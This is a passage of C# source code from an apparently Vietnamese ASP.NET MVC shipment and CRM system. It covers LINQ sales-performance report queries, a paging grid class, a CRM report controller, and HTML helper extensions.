group subShipment by subShipment.QtyUnit into _group
select new QuantityUnits(_group.Key, _group.Sum(m => m.QtyNumber));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<QuantityUnits> getQuantityUnitsCom(DateTime SearchDate1, DateTime SearchDateTo, bool isConsole = false)
{
try
{
IEnumerable<QuantityUnits> LeftJoin = from subShipment in db.Shipments
where subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& ((isConsole == true && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == true && subShipment.ShipmentRef != null))
|| isConsole == false && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == false && subShipment.ShipmentRef != null))
))
group subShipment by subShipment.QtyUnit into _group
select new QuantityUnits(_group.Key, _group.Sum(m => m.QtyNumber));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<QuantityUnits> getQuantityUnitsCom(SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<QuantityUnits> LeftJoin = from subShipment in db.Shipments
where subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& ((SalePerformamceModel1.IsConsole == true && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == true && subShipment.ShipmentRef != null)))
|| (SalePerformamceModel1.IsConsole == false && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == false && subShipment.ShipmentRef != null))))
&& (SalePerformamceModel1.AgentId == 0 || SalePerformamceModel1.AgentId.Equals(subShipment.AgentId))
&& (SalePerformamceModel1.CneeId == 0 || SalePerformamceModel1.CneeId.Equals(subShipment.CneeId))
&& (SalePerformamceModel1.SaleId == 0 || SalePerformamceModel1.SaleId.Equals(subShipment.SaleId))
&& (SalePerformamceModel1.ShipperId == 0 || SalePerformamceModel1.ShipperId.Equals(subShipment.ShipperId))
&& (0.Equals(SalePerformamceModel1.ServiceId) || SalePerformamceModel1.ServiceId.Equals(subShipment.ServiceId))
&& subShipment.IsMainShipment == false
group subShipment by subShipment.QtyUnit into _group
select new QuantityUnits(_group.Key, _group.Sum(m => m.QtyNumber));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<PerformanceReport> getSaleReport(long UserId, int Year)
{
try
{
IEnumerable<PerformanceReport> results = from
reportPlan in
(from SalePlan1 in db.SalePlans
where (SalePlan1.UserId != null && SalePlan1.UserId.Value == UserId) && SalePlan1.PlanMonth.Value.Year == Year
select new
{
Month = SalePlan1.PlanMonth.Value.Month,
UserPlan = SalePlan1.PlanValue
})
join
reportPerform in
(from Shipment1 in db.Shipments
where UserId == Shipment1.SaleId.Value && Shipment1.DateShp.Value.Year == Year
&& Shipment1.IsMainShipment == false
group Shipment1 by new { Shipment1.DateShp.Value.Month, Shipment1.Revenue.SaleType }
into _group
select new
{
Month = _group.Key.Month,
SaleType = _group.Key.SaleType,
profit = _group.Sum(sh => sh.Revenue != null ? sh.Revenue.Earning : 0),
Bonus = _group.Where(x => x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved)).Sum(sh => sh.Revenue != null ? sh.Revenue.AmountBonus2 : 0)
}) on reportPlan.Month equals reportPerform.Month into _leftjoins
from _leftjoin in _leftjoins.DefaultIfEmpty()
select new PerformanceReport(reportPlan.Month,
Convert.ToDouble(reportPlan.UserPlan != null ? reportPlan.UserPlan : 0),
_leftjoin.SaleType != null ? _leftjoin.SaleType.ToString() : ShipmentModel.SaleTypes.Sales.ToString(),
Convert.ToDouble(_leftjoin.profit != null ? _leftjoin.profit : 0),
Convert.ToDouble(_leftjoin.Bonus != null ? _leftjoin.Bonus : 0)
);
return results;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
/*
public IEnumerable<PerformanceReport> getSaleReport(long UserId, int Year) {
try
{
IEnumerable<PerformanceReport> results = from reportPerform in
(from Shipment1 in db.Shipments
where UserId == Shipment1.SaleId.Value && Shipment1.DateShp.Value.Year == Year
group Shipment1 by new { Shipment1.DateShp.Value.Month, Shipment1.SaleType }
into _group
select new
{
Month = _group.Key.Month,
SaleType = _group.Key.SaleType,
profit = _group.Sum(sh => sh.Revenue != null ? sh.Revenue.Earning:0)
})
from reportPlan in
(from SalePlan1 in db.SalePlans
where (SalePlan1.UserId != null && SalePlan1.UserId.Value == UserId) && SalePlan1.PlanMonth.Value.Year == Year
select new
{
Month = SalePlan1.PlanMonth.Value.Month,
UserPlan = SalePlan1.PlanValue
})
where reportPerform.Month == reportPlan.Month
select new PerformanceReport(reportPlan.Month,
Convert.ToDouble(reportPlan.UserPlan),
reportPerform.SaleType.ToString(),
Convert.ToDouble(reportPerform.profit));
return results;
}
catch (Exception e) {
e.Message.ToString();
}
return null;
}
*/
/*
public IEnumerable<PerformanceReport> getSaleReportDept(long DeptId, int Year) {
try
{
IEnumerable<PerformanceReport> results = from reportPerform in
(from Shipment1 in db.Shipments
where DeptId == Shipment1.User.Department.Id && Shipment1.DateShp.Value.Year == Year
group Shipment1 by new { Shipment1.DateShp.Value.Month, Shipment1.SaleType }
into _group
select new
{
Month = _group.Key.Month,
SaleType = _group.Key.SaleType,
profit = _group.Sum(sh => sh.Revenue.Earning)
})
from reportPlan in
(from SalePlan1 in db.SalePlans
where (SalePlan1.DeptId != null && SalePlan1.Department.Id == DeptId) && SalePlan1.PlanMonth.Value.Year == Year
select new
{
Month = SalePlan1.PlanMonth.Value.Month,
UserPlan = SalePlan1.PlanValue
})
where reportPerform.Month == reportPlan.Month
select new PerformanceReport(reportPlan.Month,
Convert.ToDouble(reportPlan.UserPlan != null ? reportPlan.UserPlan : 0),
reportPerform.SaleType.ToString(),
reportPerform.profit != null ? Convert.ToDouble(reportPerform.profit) : 0);
return results;
}
catch (Exception e) {
e.Message.ToString();
}
return null;
}
*/
public IEnumerable<PerformanceReport> getSaleReportDept(long DeptId, int Year)
{
try
{
IEnumerable<PerformanceReport> results = from
reportPlan in
(from SalePlan1 in db.SalePlans
where (SalePlan1.DeptId != null && SalePlan1.Department.Id == DeptId) && SalePlan1.PlanMonth.Value.Year == Year
select new
{
Month = SalePlan1.PlanMonth.Value.Month,
UserPlan = SalePlan1.PlanValue
})
join
reportPerform in
(from Shipment1 in db.Shipments
where DeptId == Shipment1.User.Department.Id && Shipment1.DateShp.Value.Year == Year
&& Shipment1.IsMainShipment == false
group Shipment1 by new { Shipment1.DateShp.Value.Month, Shipment1.Revenue.SaleType }
into _group
select new
{
Month = _group.Key.Month,
SaleType = _group.Key.SaleType,
profit = _group.Sum(sh => sh.Revenue.Earning),
bonus = _group.Where(x => x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved)).Sum(sh => sh.Revenue.AmountBonus2)
}) on reportPlan.Month equals reportPerform.Month into _leftjoins
from _leftjoin in _leftjoins.DefaultIfEmpty()
select new PerformanceReport(reportPlan.Month,
Convert.ToDouble(reportPlan.UserPlan != null ? reportPlan.UserPlan : 0),
_leftjoin.SaleType != null ? _leftjoin.SaleType.ToString() : ShipmentModel.SaleTypes.Sales.ToString(),
Convert.ToDouble(_leftjoin.profit != null ? _leftjoin.profit : 0),
Convert.ToDouble(_leftjoin.bonus != null ? _leftjoin.bonus : 0)
);
return results;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
//Get sales Report Offices
public IEnumerable<PerformanceReport> getSaleReportOffice(long OfficeId, int Year)
{
try
{
IEnumerable<PerformanceReport> results = from
reportPlan in
(from SalePlan1 in db.SalePlans
where (SalePlan1.OfficeId != null && SalePlan1.Company.Id == OfficeId) && SalePlan1.PlanMonth.Value.Year == Year
select new
{
Month = SalePlan1.PlanMonth.Value.Month,
UserPlan = SalePlan1.PlanValue
})
join
reportPerform in
(from Shipment1 in db.Shipments
where OfficeId == Shipment1.User.Company.Id && Shipment1.DateShp.Value.Year == Year
&& Shipment1.IsMainShipment == false
group Shipment1 by new { Shipment1.DateShp.Value.Month, Shipment1.Revenue.SaleType }
into _group
select new
{
Month = _group.Key.Month,
SaleType = _group.Key.SaleType,
profit = _group.Sum(sh => sh.Revenue.Earning),
Bonus = _group.Where(x => x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved)).Sum(sh => sh.Revenue.AmountBonus2)
}) on reportPlan.Month equals reportPerform.Month into _leftjoins
from _leftjoin in _leftjoins.DefaultIfEmpty()
select new PerformanceReport(reportPlan.Month,
Convert.ToDouble(reportPlan.UserPlan != null ? reportPlan.UserPlan : 0),
_leftjoin.SaleType != null ? _leftjoin.SaleType.ToString() : ShipmentModel.SaleTypes.Sales.ToString(),
Convert.ToDouble(_leftjoin.profit != null ? _leftjoin.profit : 0),
Convert.ToDouble(_leftjoin.Bonus != null ? _leftjoin.Bonus : 0)
);
return results;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IList<PlanModelMonth> GetPlanYear(long id, int year, TypeOfPlan type = TypeOfPlan.User)
{
List<SalePlan> list;
var result = new List<PlanModelMonth>();
for (int i = 1; i <= 12; i++)
{
result.Add(new PlanModelMonth(i, 0));
}
switch (type)
{
case TypeOfPlan.User:
list = db.SalePlans.Where(x => x.PlanMonth.Value.Year == year && x.UserId == id).ToList();
break;
case TypeOfPlan.Department:
list = db.SalePlans.Where(x => x.PlanMonth.Value.Year == year && x.User.DeptId == id).ToList();
break;
case TypeOfPlan.Company:
default:
list = db.SalePlans.Where(x => x.PlanMonth.Value.Year == year && x.User.ComId == id).ToList();
break;
}
if (list.Any())
{
foreach (var item in list)
{
if (item?.PlanValue != null && item.PlanValue.Value > 0)
result[item.PlanMonth.Value.Month - 1].PValue = item.PlanValue.Value;
}
}
return result.OrderBy(x => x.Month).ToList();
}
public IList<MonthOfYearReport> GetOrderMountYear(long id, int year, TypeOfPlan type = TypeOfPlan.User)
{
var query = db.Revenues.Where(x => x.Shipment.DateShp.Value.Year == year);
switch (type)
{
case TypeOfPlan.User:
query = query.Where(x => x.Shipment.SaleId == id);
break;
case TypeOfPlan.Department:
query = query.Where(x => x.Shipment.User.DeptId == id);
break;
case TypeOfPlan.Company:
default:
query = query.Where(x => x.Shipment.User.ComId == id);
break;
}
var planOfYear = GetPlanYear(id, year, type);
var orders = query.GroupBy(g => new { g.Shipment.DateShp.Value.Month, g.SaleType })
.Select(r => new
{
Month = r.Key.Month,
SaleType = r.Key.SaleType,
Profit = r.Sum(x => x.Earning),
Bonus = r.Where(a => a.Shipment.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved.ToString()))
.Sum(x => x.Earning)
}).ToList();
var result = (from pl in planOfYear
join at in orders on pl.Month equals at.Month into temp
from at in temp.DefaultIfEmpty()
select new MonthOfYearReport()
{
Month = pl.Month,
PlanValue = pl.PValue,
SaleType = at.SaleType,
Profit = at.Profit ?? 0,
Perform = (pl.PValue == 0) ? 0 : at.Profit ?? 0 / pl.PValue,
Bonus = at.Bonus ?? 0
});
return result.ToList();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Configuration;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using SSM.Common;
namespace SSM.ViewModels.Shared
{
public enum GridAction
{
None = 0,
GoToPage,
ChangePageSize,
Sort,
Search
}
public class Grid<T>
{
private Pager _pager;
private T _searchCriteria;
private T _model;
private IEnumerable<T> _data;
private GridAction _gridAction;
//Properties
public Pager Pager
{
get { return _pager; }
set { _pager = value; }
}
public T
SearchCriteria
{
get { return _searchCriteria; }
set { _searchCriteria = value; }
}
public T Model
{
get { return _model; }
set { _model = value; }
}
public IEnumerable<T> Data
{
get { return _data; }
set { _data = value; }
}
public GridAction GridAction
{
get { return _gridAction; }
set { _gridAction = value; }
}
public Grid()
{
_pager = new Pager();
}
public Grid(Pager pager)
{
Verify.Argument.IsNotNull(pager, "pager");
_pager = pager;
}
public void ProcessAction()
{
if (_gridAction == GridAction.ChangePageSize
|| _gridAction == GridAction.Sort
|| _gridAction == GridAction.Search)
_pager.CurrentPage = 1;
_gridAction = GridAction.None;
}
public static SelectList PageSizeSelectList()
{
return Helpers.PageSelectList();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web.Mvc;
using System.Xml.Linq;
using SSM.Models;
using SSM.Models.CRM;
using SSM.Services;
using SSM.Services.CRM;
using SSM.ViewModels.Reports.CRM;
namespace SSM.Controllers
{
public class CRMReportController : BaseController
{
#region Defined
private ICRMPLanProgramService programService;
private ICRMPlanMonthService planMonthService;
private ICRMPLanSaleService planSaleService;
private ICRMPlanProgMonthServics planProgMonthServics;
private UsersServices usersServices;
private ICRMStatusService crmStatusService;
private ICRMContactService crmContactService;
private ICRMCustomerService crmCustomerService;
private ICustomerServices customerServices;
private ICRMEvetypeService evetypeServiceevetypeService;
private ICRMPriceQuotationService priceQuotationService;
private ICRMEventService eventService;
private IAgentService agentService;
public CRMReportController()
{
programService = new CRMPLanProgramService();
planMonthService = new CRMPlanMonthService();
planSaleService = new CRMPLanSaleService();
planProgMonthServics = new CRMPlanProgMonthServics();
usersServices = new UsersServicesImpl();
crmCustomerService = new CRMCustomerService();
customerServices = new CustomerServices();
crmContactService = new CRMContactService();
priceQuotationService = new CRMPriceQuotationService();
eventService = new CRMEventService();
agentService = new AgentService();
crmStatusService = new CRMStatusService();
evetypeServiceevetypeService = new CRMEvetypeService();
}
#endregion
#region Plan follow report
public ActionResult Index()
{
var filter = new PlanFilter
{
Month = DateTime.Now.Month,
Year = DateTime.Now.Year,
ReportType = ReportType.Monthly,
Id = CurrenUser.Id,
NextMonth = DateTime.Now.AddMonths(1).Month,
NextYear = DateTime.Now.AddMonths(1).Year,
SummaryByType = SummaryByType.ByUser
};
filter.FromDate = new DateTime(filter.Year, filter.Month,1);
filter.ToDate = new DateTime(filter.NextYear, filter.NextMonth, 1);
var reports = ProcessPersonalMonthlyReports(filter);
var listCusHashPrice = ListCustomersHashPrice(filter);
var listCusHashEvent = ListCustomerEvent(filter);
ViewBag.ListPrice = listCusHashPrice;
ViewBag.ListEvents = listCusHashEvent;
return View(reports);
}
[HttpPost]
public ActionResult Index(int id, PlanFilter filter)
{
filter.ReportType = ReportType.Monthly;
filter.FromDate = new DateTime(filter.Year, filter.Month, 1);
var nextMonth = filter.FromDate.AddMonths(1);
filter.NextMonth = nextMonth.Month;
filter.NextYear = nextMonth.Year;
filter.ToDate = nextMonth;
filter.SummaryByType = SummaryByType.ByUser;
var reports = ProcessPersonalMonthlyReports(filter);
var listCusHashPrice = ListCustomersHashPrice(filter);
var listCusHashEvent = ListCustomerEvent(filter);
ViewBag.ListPrice = listCusHashPrice;
ViewBag.ListEvents = listCusHashEvent;
return PartialView("_PorsonalDataReport", reports);
}
public ActionResult PersonalFollowp(SummaryByType type)
{
var filter = new PlanFilter
{
Month = DateTime.Now.Month,
Year = DateTime.Now.Year,
ReportType = ReportType.Year,
NextMonth = DateTime.Now.AddMonths(1).Month,
NextYear = DateTime.Now.AddMonths(1).Year,
SummaryByType = type
};
filter.FromDate = new DateTime(filter.Year, filter.Month, 1);
var nextMonth = filter.FromDate.AddMonths(1);
filter.NextMonth = nextMonth.Month;
filter.NextYear = nextMonth.Year;
filter.ToDate = nextMonth;
switch (filter.SummaryByType)
{
case SummaryByType.ByUser:
filter.Id = CurrenUser.Id;
break;
case SummaryByType.ByDeparment:
filter.Id = CurrenUser.DeptId.Value;
break;
case SummaryByType.ByOffice:
filter.Id = CurrenUser.ComId.Value;
break;
}
var reports = ProcessPersonalFollowupReports(filter);
var planYearReports = ProcessPersonalMonthlyReports(filter);
ViewBag.CustomerFollowup = reports;
ViewBag.SummaryByType = type;
ViewBag.PlanYear = planYearReports;
return View();
}
[HttpPost]
public ActionResult PersonalFollowp(PlanFilter filter)
{
filter.FromDate = new DateTime(filter.Year, filter.Month, 1);
var nextMonth = filter.FromDate.AddMonths(1);
filter.NextMonth = nextMonth.Month;
filter.NextYear = nextMonth.Year;
filter.ToDate = nextMonth;
var reports = ProcessPersonalFollowupReports(filter);
var planYearReports = ProcessPersonalMonthlyReports(filter);
ViewBag.CustomerFollowup = reports;
ViewBag.PlanYear = planYearReports;
ViewBag.SummaryByType = filter.SummaryByType;
return PartialView("_PorsonalFollowupReport");
}
private List<PersonalReport> ProcessPersonalMonthlyReports(PlanFilter filter)
{
ViewBag.PlanFilter = filter;
var plans = planMonthService.GetQuery(x =>
(filter.Month == 0 || x.PlanMonth == filter.Month)
&& x.PlanYear == filter.Year);
switch (filter.SummaryByType)
{
case SummaryByType.ByUser:
plans = plans.Where(x => x.CRMPlanProgMonth.CRMPLanSale.SalesId == filter.Id);
var usersList = usersServices.GetAllSales(CurrenUser, false).ToList();
if (CurrenUser.IsAdmin())
{
usersList.Add(CurrenUser);
}
ViewBag.AlldeptSalseList = new SelectList(usersList.OrderBy(x => x.FullName), "Id", "FullName");
break;
case SummaryByType.ByDeparment:
plans = plans.Where(x => x.CRMPlanProgMonth.CRMPLanSale.Sales.DeptId == filter.Id);
ViewBag.AlldeptSalseList = new SelectList(usersServices.GetAllDepartmentActive(CurrenUser), "Id", "DeptName");
break;
case SummaryByType.ByOffice:
plans = plans.Where(x => x.CRMPlanProgMonth.CRMPLanSale.Sales.ComId == filter.Id);
ViewBag.AlldeptSalseList = new SelectList(usersServices.GetCompanies(CurrenUser), "Id", "CompanyName");
break;
}
var reports = new List<PersonalReport>();
var summary = crmCustomerService.SummarysList(CurrenUser, filter);
var totalShipmentExc = summary.Sum(x => x.TotalShippments);//So lo thanh cong
var totalSuccessExc = summary.Sum(x => x.SuccessFully);// khach hang moi thanh cong
var totalVistedExc = summary.Sum(x => x.TotalVisitedSuccess);//Vieng tham
var totaldocdExc = summary.Sum(x => x.TotalDocument);//Bai viet
var totalEmailExc = summary.Sum(x => x.TotalFirstSendEmail);//Guid bao gia
var hatMonthShipmentExc = 0;//So lo thanh cong
var hatMonthSuccessExc = 0;// khach hang moi thanh cong
var hatMonthVistedExc = 0;//Vieng tham
var hatMonthdocdExc = 0;//Bai viet
var hatMonthEmailExc = 0;//Guid bao gia
// report for personal monthly
if (filter.ReportType == ReportType.Monthly && filter.Month > 0)
{
var nextTime = new DateTime(filter.Year, filter.Month, 1).AddMonths(1);
filter.NextMonth = nextTime.Month;
filter.NextYear = nextTime.Year;
var cusHatMonth = summary.Where(x => x.CreatedDate <= new DateTime(filter.Year, filter.Month, 15, 23, 59, 59)).ToList();
hatMonthShipmentExc = cusHatMonth.Sum(x => x.TotalShippments);//So lo thanh cong
hatMonthSuccessExc = cusHatMonth.Sum(x => x.SuccessFully);// khach hang moi thanh cong
hatMonthVistedExc = cusHatMonth.Sum(x => x.TotalVisitedSuccess);//Vieng tham
hatMonthdocdExc = cusHatMonth.Sum(x => x.TotalDocument);//Bai viet
hatMonthEmailExc = cusHatMonth.Sum(x => x.TotalFirstSendEmail);//Guid bao gia
}
var planMonths = plans.Where(x => (filter.Month == 0 || x.PlanMonth == filter.Month) && x.PlanYear == filter.Year).ToList();
foreach (var p in planMonths)
{
var report = new PersonalReport
{
PlanName = p.CRMPlanProgMonth.CRMPlanProgram.Name,
PlanValue = p.PlanValue,
Month = p.PlanMonth,
Year = p.PlanYear
};
if (filter.ReportType == ReportType.Monthly && filter.Month > 0)
{
var next = planMonthService.FindEntity(x => x.ProgramMonthId == p.Id && x.PlanMonth == filter.NextMonth && filter.NextYear == x.PlanYear);
var nextPlan = next != null ? next.PlanValue : 0;
report.PlanValueNextMonth = nextPlan;
}
switch (p.CRMPlanProgMonth.ProgramId)
{
case 1:
report.TotalExc = totalSuccessExc;
report.FistExc = hatMonthSuccessExc;
report.LastExc = totalSuccessExc - hatMonthSuccessExc;
break;
case 2:
report.TotalExc = totalEmailExc;
report.FistExc = hatMonthEmailExc;
report.LastExc = totalEmailExc - hatMonthEmailExc;
break;
case 3:
report.TotalExc = totalVistedExc;
report.FistExc = hatMonthVistedExc;
report.LastExc = totalVistedExc - hatMonthVistedExc;
break;
case 4:
report.TotalExc = totalShipmentExc;
report.FistExc = hatMonthShipmentExc;
report.LastExc = totalShipmentExc - hatMonthShipmentExc;
break;
case 5:
report.TotalExc = totaldocdExc;
report.FistExc = hatMonthdocdExc;
report.LastExc = totaldocdExc - hatMonthdocdExc;
break;
}
report.Odds = report.TotalExc - report.PlanValue;
reports.Add(report);
}
ViewBag.PlanMount = plans.ToList();
return reports;
}
private List<ReportCustomerViewModel> ListCustomersHashPrice(PlanFilter filter)
{
var list =
priceQuotationService.GetAll(
x =>
(filter.Month == 0 || x.LastDateSend.Value.Month == filter.Month) && x.LastDateSend.Value.Year == filter.Year &&
x.CreatedById == filter.Id && x.CountSendMail == 1).Select(x => new ReportCustomerViewModel
{
DateTime = x.LastDateSend.Value,
CompanyName = x.CRMCustomer.CompanyShortName,
ContactName = x.CRMCustomer.CRMContacts.Aggregate("", (current, u) => current + (u.FullName + "/" + u.Phone + "<br/>"))
});
return list.ToList();
}
private List<ReportCustomerViewModel> ListCustomerEvent(PlanFilter filter)
{
var list =
eventService.GetAll(
x =>
(filter.Month == 0 || x.DateBegin.Month == filter.Month) && x.DateBegin.Year == filter.Year &&
x.CreatedById == filter.Id && x.IsEventAction == false).Select(x => new ReportCustomerViewModel
{
DateTime = x.DateBegin,
CompanyName = x.CRMCustomer.CompanyShortName,
ContactName = x.CRMCustomer.CRMContacts.Aggregate("\n", (current, u) => current + (u.FullName + "/" + u.Phone + "<br/>"))
});
return list.ToList();
}
private List<SalesTypeSummaryReport> ProcessPersonalFollowupReports(PlanFilter filter)
{
var list = crmCustomerService.SalesTypeSumaryReport(filter);
return list;
}
private List<PlanYearSummaryReport> ProcessProsonalPlanFollowup(PlanFilter filter)
{
var summary = crmCustomerService.SummarysList(CurrenUser, filter);
var totalShipmentExc = summary.Sum(x => x.TotalShippments);//So lo thanh cong
var totalSuccessExc = summary.Sum(x => x.SuccessFully);// khach hang moi thanh cong
var totalVistedExc = summary.Sum(x => x.TotalVisitedSuccess);//Vieng tham
var totaldocdExc = summary.Sum(x => x.TotalDocument);//Bai viet
var totalEmailExc = summary.Sum(x => x.TotalFirstSendEmail);//Guid bao gia
var plans = planMonthService.GetQuery(x =>
(filter.Month == 0 || x.PlanMonth == filter.Month)
&& x.PlanYear == filter.Year);
var listUserShow = planSaleService.GetAllByUser(CurrenUser, filter.Year, filter.Id);
switch (filter.SummaryByType)
{
case SummaryByType.ByUser:
plans = plans.Where(x => x.CRMPlanProgMonth.CRMPLanSale.SalesId == filter.Id);
break;
case SummaryByType.ByDeparment:
plans = plans.Where(x => x.CRMPlanProgMonth.CRMPLanSale.Sales.DeptId == filter.Id);
break;
case SummaryByType.ByOffice:
plans = plans.Where(x => x.CRMPlanProgMonth.CRMPLanSale.Sales.ComId == filter.Id);
break;
}
var planMonths = plans.Where(x => x.PlanMonth == filter.Month).ToList();
foreach (var p in planMonths)
{
for (int i = 1; i <= 12; i++)
{
}
}
return new List<PlanYearSummaryReport>();
}
#endregion
#region TopProfit Report
[HttpGet]
public ActionResult CRMTopProfit()
{
var filter = new CRMFilterProfit
{
BeginDate = DateTime.Today.AddMonths(-1),
EndDate = DateTime.Now,
Top = 10
};
ViewBag.Filter = filter;
ViewBag.Users = usersServices.GetAllSales(CurrenUser, false);
ViewBag.Depts = usersServices.GetAllDepartmentActive(CurrenUser);
ViewBag.Offices = usersServices.getAllCompany();
var list = ResultFilter(filter);
return View(list);
}
[HttpPost]
public ActionResult CRMTopProfit(CRMFilterProfit filter)
{
ViewBag.Filter = filter;
var list = ResultFilter(filter);
return PartialView("_CrmTopProfitList", list);
}
private List<CRMFilterProfitResult> ResultFilter(CRMFilterProfit filter)
{
var qr = crmCustomerService.GetCRMListProfit(filter, CurrenUser);
return qr;
}
#endregion
#region Follow profit report
[HttpGet]
public ActionResult CRMFollowProfit(bool isProfit = true)
{
var filter = new CRMFilterFollowProfit
{
BeginDate = DateTime.Today.AddMonths(-1),
EndDate = DateTime.Now,
IsProfit = isProfit,
Top = 10
};
ViewBag.Filter = filter;
ViewBag.Users = usersServices.GetAllSales(CurrenUser, false);
ViewBag.Depts = usersServices.GetAllDepartmentActive(CurrenUser);
ViewBag.Offices = usersServices.getAllCompany();
ViewBag.Countrys = crmCustomerService.GetAllCountry();
ViewBag.Agents = agentService.GetQuery(x => x.IsActive && x.IsHideUser == false && x.IsSee == true).OrderBy(x => x.AbbName);
//ViewBag.Status = CRMStatusCode.;
var list = ResultFollowFilter(filter);
return View(list);
}
[HttpPost]
public ActionResult CRMFollowProfit(CRMFilterFollowProfit filter)
{
ViewBag.Filter = filter;
if (filter.BeginDate == null) filter.BeginDate = new DateTime(2017, 1, 1);
if (filter.EndDate == null) filter.EndDate = DateTime.Now;
else filter.EndDate = filter.EndDate.Value.AddHours(23).AddMinutes(59);
var list = ResultFollowFilter(filter);
return PartialView("_CrmTopProfitList", list);
}
private List<CrmFilterTopProfitByStore> ResultFollowFilter(CRMFilterFollowProfit filter)
{
var crmstting = usersServices.CRMDayCanelSettingNumber();
var days = int.Parse(crmstting.DataValue);
filter.DaysOfLost = days;
var qr = crmCustomerService.GetCRMListFollowProfit(filter, CurrenUser);
return qr;
}
#endregion
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Linq.Expressions;
using System.Reflection;
using System.Text;
using System.Text.RegularExpressions;
using System.Web;
using System.Web.Mvc;
using System.Web.Mvc.Ajax;
using System.Web.Mvc.Html;
using System.Web.Routing;
using System.Web.UI.WebControls;
using AutoMapper;
using SSM.Models;
using SSM.Services;
using Expression = System.Linq.Expressions.Expression;
namespace SSM.Common
{
public static class ModelExtensions
{
public static string GetNumberFromStr(this string str)
{
str = str.Trim();
Match m = Regex.Match(str, @"\d+");
return (m.Value);
}
public static string RenderPartialView(this Controller controller, string viewName, object model)
{
if (string.IsNullOrEmpty(viewName))
viewName = controller.ControllerContext.RouteData.GetRequiredString("action");
controller.ViewData.Model = model;
using (var sw = new StringWriter())
{
ViewEngineResult viewResult = ViewEngines.Engines.FindPartialView(controller.ControllerContext, viewName);
var viewContext = new ViewContext(controller.ControllerContext, viewResult.View, controller.ViewData, controller.TempData, sw);
viewResult.View.Render(viewContext, sw);
return sw.GetStringBuilder().ToString();
}
}
#region by DetailModel
private const string idsToReuseKey = "__htmlPrefixScopeExtensions_IdsToReuse_";
public static IDisposable BeginCollectionItem(this HtmlHelper html, string collectionName)
{
var idsToReuse = GetIdsToReuse(html.ViewContext.HttpContext, collectionName);
string itemIndex = idsToReuse.Count > 0 ? idsToReuse.Dequeue() : Guid.NewGuid().ToString();
// autocomplete="off" is needed to work around a very annoying Chrome behaviour whereby it reuses old values after the user clicks "Back", which causes the xyz.index and xyz[...] values to get out of sync.
html.ViewContext.Writer.WriteLine(string.Format("<input type=\"hidden\" name=\"{0}.Index\" autocomplete=\"off\" value=\"{1}\" />", collectionName, html.Encode(itemIndex)));
return BeginHtmlFieldPrefixScope(html, string.Format("{0}[{1}]", collectionName, itemIndex));
}
public static IDisposable BeginHtmlFieldPrefixScope(this HtmlHelper html, string htmlFieldPrefix)
{
return new HtmlFieldPrefixScope(html.ViewData.TemplateInfo, htmlFieldPrefix);
}
private static Queue<string> GetIdsToReuse(HttpContextBase httpContext, string collectionName)
{
// We need to use the same sequence of IDs following a server-side validation failure,
// otherwise the framework won't render the validation error messages next to each item.
string key = idsToReuseKey + collectionName;
var queue = (Queue<string>)httpContext.Items[key];
if (queue == null)
{
httpContext.Items[key] = queue = new Queue<string>();
var previouslyUsedIds = httpContext.Request[collectionName + ".index"];
if (!string.IsNullOrEmpty(previouslyUsedIds))
foreach (string previouslyUsedId in previouslyUsedIds.Split(','))
queue.Enqueue(previouslyUsedId);
}
return queue;
}
private class HtmlFieldPrefixScope : IDisposable
{
private readonly TemplateInfo templateInfo;
private readonly string previousHtmlFieldPrefix;
public HtmlFieldPrefixScope(TemplateInfo templateInfo, string htmlFieldPrefix)
{
this.templateInfo = templateInfo;
previousHtmlFieldPrefix = templateInfo.HtmlFieldPrefix;
templateInfo.HtmlFieldPrefix = htmlFieldPrefix;
}
public void Dispose()
{
templateInfo.HtmlFieldPrefix = previousHtmlFieldPrefix;
}
}
#endregion
public static string StockButtonAction(User user, VoucherStatus status, long id, User owner)
{
/* VoucherStatus status = VoucherStatus.Hold;
Enum.TryParse(statusInput, true, out status);*/
string name = "Cancel";
string nameCancel = "Cancel";
string adStatus = "";
const string bt =
"<input type=\"button\" class=\"btn btn-primary \" id=\"btnAppval\" value=\"{0}\" onclick=\"return stockCradAction('{1}',{2});\"/>";
var button = string.Empty;
switch (status)
{
case VoucherStatus.Pending:
if (user.IsAdmin() || user.Id == owner.Id)
{
name = "Submit";
adStatus = VoucherStatus.Submited.ToString();
button = string.Format(bt, name, adStatus, id);
}
break;
case VoucherStatus.Submited:
if (user.IsAccountant())
{
name = "Check";
adStatus = VoucherStatus.Checked.ToString();
button = string.Format(bt, name, adStatus, id);
name = nameCancel;
adStatus = VoucherStatus.Pending.ToString();
button += string.Format(bt, name, adStatus, id);
}
else
if (user.IsAdmin() || user.Id == owner.Id)
{
name = nameCancel;
adStatus = VoucherStatus.Pending.ToString();
button = string.Format(bt, name, adStatus, id);
}
break;
case VoucherStatus.Checked:
if (user.IsAdmin() || (user.IsDirecter() && user.AllowApprovedStockCard))
{
name = "Approval";
adStatus = VoucherStatus.Approved.ToString();
button = string.Format(bt, name, adStatus, id);
name = nameCancel;
adStatus = VoucherStatus.Submited.ToString();
button += string.Format(bt, name, adStatus, id);
}
else if (UsersModel.isAccountant(user))
{
name = nameCancel;
adStatus = VoucherStatus.Submited.ToString();
button = string.Format(bt, name, adStatus, id);
}
break;
